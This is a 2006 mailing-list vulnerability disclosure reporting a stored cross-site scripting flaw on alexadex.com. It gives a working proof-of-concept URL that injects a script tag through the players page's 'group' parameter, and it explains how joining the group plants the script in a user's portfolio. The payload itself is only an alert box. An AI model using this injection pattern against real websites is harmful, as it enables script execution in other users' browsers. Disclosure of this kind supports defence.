Alexadex.com players.py XSS Exploit

From: <skinnypuppy_at_hushmail.ai>
Date: 5 May 2006 08:10:04 -0000

('binary' encoding is not supported, stored as-is) +++++++++++++++++++++++++++++++++++++
|Alexadex.com players.py XSS Exploit|
+++++++++++++++++++++++++++++++++++++
May 04,2006

++++++++++++++++++++++++++++++++
|XSS Exploition on alexadex.com|
++++++++++++++++++++++++++++++++

http://www.alexadex.com/ad/players?group=<script>alert("SKINNYPUPPY");</script>

What this will do is add a group with the name: <script>alert("SKINNYPUPPY");</script>

When you click the "Join this group" it sets the injected code to your Portfolio and when viewed it executes the injected code.

++++++++++++++++++++++++++++++++
EMAIL: skinnypuppy_at_hush.ai

demo: http://www.alexadex.com/ad/user/xss
Received on May 06 2006